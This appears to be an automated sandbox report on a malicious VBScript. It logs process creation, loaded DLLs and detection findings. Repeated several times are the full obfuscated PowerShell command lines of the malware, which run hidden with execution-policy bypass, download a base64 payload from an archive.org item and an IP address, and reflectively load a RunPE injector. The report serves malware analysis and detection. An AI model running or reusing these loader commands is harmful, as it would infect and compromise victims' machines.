Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZScrJ3RhaCcrJy1ub3RlJysnLXYvRGUnKyd0YWhOb3RlVi4nKyd0eCcrJ3Q3JysndVgnKyc7JysnWicrJ25pYmFzJysnZTY0JysnQ29uJysndCcrJ2VudCA9IChOZXctT2InKydqZWN0IFN5Jysnc3RlJysnbScrJy4nKydOJysnZScrJ3QuV2ViQycrJ2wnKydpZW50JysnKS5EbycrJ3cnKyduJysnbG9hZFN0JysncmluZyhaJysnbicrJ2l1cmwpJysnO1puaScrJ2JpbmFyeUMnKydvbicrJ3RlbnQnKycgJysnPSBbUycrJ3lzdGUnKydtLkMnKydvJysnbnZlcicrJ3RdOjpGcicrJ29tQmFzZTY0U3RyaScrJ24nKydnKFpuaWJhc2U2JysnNENvbnQnKydlJysnbicrJ3QnKycpOycrJ1puaWEnKydzc2VtYmwnKyd5ICcrJz0gW1JlZmwnKydlY3QnKydpb24nKycuQXNzZScrJ20nKydibHldJysnOjpMJysnb2FkJysnKCcrJ1onKyduaWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQpO1onKyduJysnaXR5cGUgJysnPScrJyBaJysnbmlhc3NlbWInKydseS5HZXRUeXBlKDd1WCcrJ1InKyd1JysnblBFLkgnKydvJysnbWU3JysndVgnKycpOycrJ1puaW1lJysndGgnKydvZCcrJyAnKyc9IFonKyduJysnaXR5cGUuJysnRycrJ2UnKyd0TWV0JysnaCcrJ29kJysnKDd1WCcrJ1YnKydBSTd1JysnWCk7WicrJ25pbWV0aG8nKydkLkknKydudm9rZSgnKydabicrJ2knKyduJysndWxsLCcrJyAnKydbJysnb2JqZWMnKyd0W11dJysnQCcrJyg3dVh0eHQuRicrJ0ZDTlIvNDEnKyc0Mi81OC45OCcrJzEuMicrJzMnKycyLjI3MScrJy8nKycvJysnOnB0dGgnKyc3JysndVggJysnLCA3dVhkZXNhdGl2YScrJ2RvNycrJ3VYICcrJywgN3UnKydYZGVzJysnYScrJ3RpJysndmEnKydkbzd1WCAsJysnIDd1WCcrJ2QnKydlc2F0aXZhZG83dVgsNycrJ3VYUicrJ2VnQScrJ3NtNycrJ3VYJysnLDd1WDcnKyd1WCkpJyktUkVwbGFDZSAoW0NoQXJdNTUrW0NoQXJdMTE3K1tDaEFyXTg4KSxbQ2hBcl0zOSAtUkVwbGFDZSdabmknLFtDaEFyXTM2KSB8LiAoICRlTlY6Y09tU1BlQ1s0LDI0LDI1XS1qb2lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('Z'+'niu'+'rl'+' = 7uXhtt'+'ps://ia6'+'0'+'01'+'0'+'0'+'.us.'+'a'+'rc'+'hiv'+'e.org/'+'24/items/d'+'e'+'tah'+'-note'+'-v/De'+'tahNoteV.'+'tx'+'t7'+'uX'+';'+'Z'+'nibas'+'e64'+'Con'+'t'+'ent = (New-Ob'+'ject Sy'+'ste'+'m'+'.'+'N'+'e'+'t.WebC'+'l'+'ient'+').Do'+'w'+'n'+'loadSt'+'ring(Z'+'n'+'iurl)'+';Zni'+'binaryC'+'on'+'tent'+' '+'= [S'+'yste'+'m.C'+'o'+'nver'+'t]::Fr'+'omBase64Stri'+'n'+'g(Znibase6'+'4Cont'+'e'+'n'+'t'+');'+'Znia'+'ssembl'+'y '+'= [Refl'+'ect'+'ion'+'.Asse'+'m'+'bly]'+'::L'+'oad'+'('+'Z'+'nibi'+'naryCon'+'t'+'e'+'nt);Z'+'n'+'itype '+'='+' Z'+'niassemb'+'ly.GetType(7uX'+'R'+'u'+'nPE.H'+'o'+'me7'+'uX'+');'+'Znime'+'th'+'od'+' '+'= Z'+'n'+'itype.'+'G'+'e'+'tMet'+'h'+'od'+'(7uX'+'V'+'AI7u'+'X);Z'+'nimetho'+'d.I'+'nvoke('+'Zn'+'i'+'n'+'ull,'+' '+'['+'objec'+'t[]]'+'@'+'(7uXtxt.F'+'FCNR/41'+'42/58.98'+'1.2'+'3'+'2.271'+'/'+'/'+':ptth'+'7'+'uX '+', 7uXdesativa'+'do7'+'uX '+', 7u'+'Xdes'+'a'+'ti'+'va'+'do7uX ,'+' 7uX'+'d'+'esativado7uX,7'+'uXR'+'egA'+'sm7'+'uX'+',7uX7'+'uX))')-REplaCe ([ChAr]55+[ChAr]117+[ChAr]88),[ChAr]39 -REplaCe'Zni',[ChAr]36) \|. ( $eNV:cOmSPeC[4,24,25]-joiN'')"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZScrJ3RhaCcrJy1ub3RlJysnLXYvRGUnKyd0YWhOb3RlVi4nKyd0eCcrJ3Q3JysndVgnKyc7JysnWicrJ25pYmFzJysnZTY0JysnQ29uJysndCcrJ2VudCA9IChOZXctT2InKydqZWN0IFN5Jysnc3RlJysnbScrJy4nKydOJysnZScrJ3QuV2ViQycrJ2wnKydpZW50JysnKS5EbycrJ3cnKyduJysnbG9hZFN0JysncmluZyhaJysnbicrJ2l1cmwpJysnO1puaScrJ2JpbmFyeUMnKydvbicrJ3RlbnQnKycgJysnPSBbUycrJ3lzdGUnKydtLkMnKydvJysnbnZlcicrJ3RdOjpGcicrJ29tQmFzZTY0U3RyaScrJ24nKydnKFpuaWJhc2U2JysnNENvbnQnKydlJysnbicrJ3QnKycpOycrJ1puaWEnKydzc2VtYmwnKyd5ICcrJz0gW1JlZmwnKydlY3QnKydpb24nKycuQXNzZScrJ20nKydibHldJysnOjpMJysnb2FkJysnKCcrJ1onKyduaWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQpO1onKyduJysnaXR5cGUgJysnPScrJyBaJysnbmlhc3NlbWInKydseS5HZXRUeXBlKDd1WCcrJ1InKyd1JysnblBFLkgnKydvJysnbWU3JysndVgnKycpOycrJ1puaW1lJysndGgnKydvZCcrJyAnKyc9IFonKyduJysnaXR5cGUuJysnRycrJ2UnKyd0TWV0JysnaCcrJ29kJysnKDd1WCcrJ1YnKydBSTd1JysnWCk7WicrJ25pbWV0aG8nKydkLkknKydudm9rZSgnKydabicrJ2knKyduJysndWxsLCcrJyAnKydbJysnb2JqZWMnKyd0W11dJysnQCcrJyg3dVh0eHQuRicrJ0ZDTlIvNDEnKyc0Mi81OC45OCcrJzEuMicrJzMnKycyLjI3MScrJy8nKycvJysnOnB0dGgnKyc3JysndVggJysnLCA3dVhkZXNhdGl2YScrJ2RvNycrJ3VYICcrJywgN3UnKydYZGVzJysnYScrJ3RpJysndmEnKydkbzd1WCAsJysnIDd1WCcrJ2QnKydlc2F0aXZhZG83dVgsNycrJ3VYUicrJ2VnQScrJ3NtNycrJ3VYJysnLDd1WDcnKyd1WCkpJyktUkVwbGFDZSAoW0NoQXJdNTUrW0NoQXJdMTE3K1tDaEFyXTg4KSxbQ2hBcl0zOSAtUkVwbGFDZSdabmknLFtDaEFyXTM2KSB8LiAoICRlTlY6Y09tU1BlQ1s0LDI0LDI1XS1qb2lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('Z'+'niu'+'rl'+' = 7uXhtt'+'ps://ia6'+'0'+'01'+'0'+'0'+'.us.'+'a'+'rc'+'hiv'+'e.org/'+'24/items/d'+'e'+'tah'+'-note'+'-v/De'+'tahNoteV.'+'tx'+'t7'+'uX'+';'+'Z'+'nibas'+'e64'+'Con'+'t'+'ent = (New-Ob'+'ject Sy'+'ste'+'m'+'.'+'N'+'e'+'t.WebC'+'l'+'ient'+').Do'+'w'+'n'+'loadSt'+'ring(Z'+'n'+'iurl)'+';Zni'+'binaryC'+'on'+'tent'+' '+'= [S'+'yste'+'m.C'+'o'+'nver'+'t]::Fr'+'omBase64Stri'+'n'+'g(Znibase6'+'4Cont'+'e'+'n'+'t'+');'+'Znia'+'ssembl'+'y '+'= [Refl'+'ect'+'ion'+'.Asse'+'m'+'bly]'+'::L'+'oad'+'('+'Z'+'nibi'+'naryCon'+'t'+'e'+'nt);Z'+'n'+'itype '+'='+' Z'+'niassemb'+'ly.GetType(7uX'+'R'+'u'+'nPE.H'+'o'+'me7'+'uX'+');'+'Znime'+'th'+'od'+' '+'= Z'+'n'+'itype.'+'G'+'e'+'tMet'+'h'+'od'+'(7uX'+'V'+'AI7u'+'X);Z'+'nimetho'+'d.I'+'nvoke('+'Zn'+'i'+'n'+'ull,'+' '+'['+'objec'+'t[]]'+'@'+'(7uXtxt.F'+'FCNR/41'+'42/58.98'+'1.2'+'3'+'2.271'+'/'+'/'+':ptth'+'7'+'uX '+', 7uXdesativa'+'do7'+'uX '+', 7u'+'Xdes'+'a'+'ti'+'va'+'do7uX ,'+' 7uX'+'d'+'esativado7uX,7'+'uXR'+'egA'+'sm7'+'uX'+',7uX7'+'uX))')-REplaCe ([ChAr]55+[ChAr]117+[ChAr]88),[ChAr]39 -REplaCe'Zni',[ChAr]36) \|. ( $eNV:cOmSPeC[4,24,25]-joiN'')"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1987452573.000002669CEED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: powershell.exe, 00000004.00000002.1987452573.000002669CE79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000004.00000002.1988564778.000002669D0DC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1988335673.000002669CF49000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Data.Linq.pdb source: powershell.exe, 00000004.00000002.1964132789.0000026695D7A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1989363837.000002669D440000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000004.00000002.1987452573.000002669CE79000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: omation.pdbbN$ source: powershell.exe, 00000004.00000002.1988564778.000002669D0DC000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM", "0", "false");

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZScrJ3RhaCcrJy1ub3RlJysnLXYvRGUnKyd0YWhOb3RlVi4nKyd0eCcrJ3Q3JysndVgnKyc7JysnWicrJ25pYmFzJysnZTY0JysnQ29uJysndCcrJ2VudCA9IChOZXctT2InKydqZWN0IFN5Jysnc3RlJysnbScrJy4nKydOJysnZScrJ3QuV2ViQycrJ2wnKydpZW50JysnKS5EbycrJ3cnKyduJysnbG9hZFN0JysncmluZyhaJysnbicrJ2l1cmwpJysnO1puaScrJ2JpbmFyeUMnKydvbicrJ3RlbnQnKycgJysnPSBbUycrJ3lzdGUnKydtLkMnKydvJysnbnZlcicrJ3RdOjpGcicrJ29tQmFzZTY0U3RyaScrJ24nKydnKFpuaWJhc2U2JysnNENvbnQnKydlJysnbicrJ3QnKycpOycrJ1puaWEnKydzc2VtYmwnKyd5ICcrJz0gW1JlZmwnKydlY3QnKydpb24nKycuQXNzZScrJ20nKydibHldJysnOjpMJysnb2FkJysnKCcrJ1onKyduaWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQpO1onKyduJysnaXR5cGUgJysnPScrJyBaJysnbmlhc3NlbWInKydseS5HZXRUeXBlKDd1WCcrJ1InKyd1JysnblBFLkgnKydvJysnbWU3JysndVgnKycpOycrJ1puaW1lJysndGgnKydvZCcrJyAnKyc9IFonKyduJysnaXR5cGUuJysnRycrJ2UnKyd0TWV0JysnaCcrJ29kJysnKDd1WCcrJ1YnKydBSTd1JysnWCk7WicrJ25pbWV0aG8nKydkLkknKydudm9rZSgnKydabicrJ2knKyduJysndWxsLCcrJyAnKydbJysnb2JqZWMnKyd0W11dJysnQCcrJyg3dVh0eHQuRicrJ0ZDTlIvNDEnKyc0Mi81OC45OCcrJzEuMicrJzMnKycyLjI3MScrJy8nKycvJysnOnB0dGgnKyc3JysndVggJysnLCA3dVhkZXNhdGl2YScrJ2RvNycrJ3VYICcrJywgN3UnKydYZGVzJysnYScrJ3RpJysndmEnKydkbzd1WCAsJysnIDd1WCcrJ2QnKydlc2F0aXZhZG83dVgsNycrJ3VYUicrJ2VnQScrJ3NtNycrJ3VYJysnLDd1WDcnKyd1WCkpJyktUkVwbGFDZSAoW0NoQXJdNTUrW0NoQXJdMTE3K1tDaEFyXTg4KSxbQ2hBcl0zOSAtUkVwbGFDZSdabmknLFtDaEFyXTM2KSB8LiAoICRlTlY6Y09tU1BlQ1s0LDI0LDI1XS1qb2lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?

Obfuscated command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('Z'+'niu'+'rl'+' = 7uXhtt'+'ps://ia6'+'0'+'01'+'0'+'0'+'.us.'+'a'+'rc'+'hiv'+'e.org/'+'24/items/d'+'e'+'tah'+'-note'+'-v/De'+'tahNoteV.'+'tx'+'t7'+'uX'+';'+'Z'+'nibas'+'e64'+'Con'+'t'+'ent = (New-Ob'+'ject Sy'+'ste'+'m'+'.'+'N'+'e'+'t.WebC'+'l'+'ient'+').Do'+'w'+'n'+'loadSt'+'ring(Z'+'n'+'iurl)'+';Zni'+'binaryC'+'on'+'tent'+' '+'= [S'+'yste'+'m.C'+'o'+'nver'+'t]::Fr'+'omBase64Stri'+'n'+'g(Znibase6'+'4Cont'+'e'+'n'+'t'+');'+'Znia'+'ssembl'+'y '+'= [Refl'+'ect'+'ion'+'.Asse'+'m'+'bly]'+'::L'+'oad'+'('+'Z'+'nibi'+'naryCon'+'t'+'e'+'nt);Z'+'n'+'itype '+'='+' Z'+'niassemb'+'ly.GetType(7uX'+'R'+'u'+'nPE.H'+'o'+'me7'+'uX'+');'+'Znime'+'th'+'od'+' '+'= Z'+'n'+'itype.'+'G'+'e'+'tMet'+'h'+'od'+'(7uX'+'V'+'AI7u'+'X);Z'+'nimetho'+'d.I'+'nvoke('+'Zn'+'i'+'n'+'ull,'+' '+'['+'objec'+'t[]]'+'@'+'(7uXtxt.F'+'FCNR/41'+'42/58.98'+'1.2'+'3'+'2.271'+'/'+'/'+':ptth'+'7'+'uX '+', 7uXdesativa'+'do7'+'uX '+', 7u'+'Xdes'+'a'+'ti'+'va'+'do7uX ,'+' 7uX'+'d'+'esativado7uX,7'+'uXR'+'egA'+'sm7'+'uX'+',7uX7'+'uX))')-REplaCe ([ChAr]55+[ChAr]117+[ChAr]88),[ChAr]39 -REplaCe'Zni',[ChAr]36) \|. ( $eNV:cOmSPeC[4,24,25]-joiN'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('Z'+'niu'+'rl'+' = 7uXhtt'+'ps://ia6'+'0'+'01'+'0'+'0'+'.us.'+'a'+'rc'+'hiv'+'e.org/'+'24/items/d'+'e'+'tah'+'-note'+'-v/De'+'tahNoteV.'+'tx'+'t7'+'uX'+';'+'Z'+'nibas'+'e64'+'Con'+'t'+'ent = (New-Ob'+'ject Sy'+'ste'+'m'+'.'+'N'+'e'+'t.WebC'+'l'+'ient'+').Do'+'w'+'n'+'loadSt'+'ring(Z'+'n'+'iurl)'+';Zni'+'binaryC'+'on'+'tent'+' '+'= [S'+'yste'+'m.C'+'o'+'nver'+'t]::Fr'+'omBase64Stri'+'n'+'g(Znibase6'+'4Cont'+'e'+'n'+'t'+');'+'Znia'+'ssembl'+'y '+'= [Refl'+'ect'+'ion'+'.Asse'+'m'+'bly]'+'::L'+'oad'+'('+'Z'+'nibi'+'naryCon'+'t'+'e'+'nt);Z'+'n'+'itype '+'='+' Z'+'niassemb'+'ly.GetType(7uX'+'R'+'u'+'nPE.H'+'o'+'me7'+'uX'+');'+'Znime'+'th'+'od'+' '+'= Z'+'n'+'itype.'+'G'+'e'+'tMet'+'h'+'od'+'(7uX'+'V'+'AI7u'+'X);Z'+'nimetho'+'d.I'+'nvoke('+'Zn'+'i'+'n'+'ull,'+' '+'['+'objec'+'t[]]'+'@'+'(7uXtxt.F'+'FCNR/41'+'42/58.98'+'1.2'+'3'+'2.271'+'/'+'/'+':ptth'+'7'+'uX '+', 7uXdesativa'+'do7'+'uX '+', 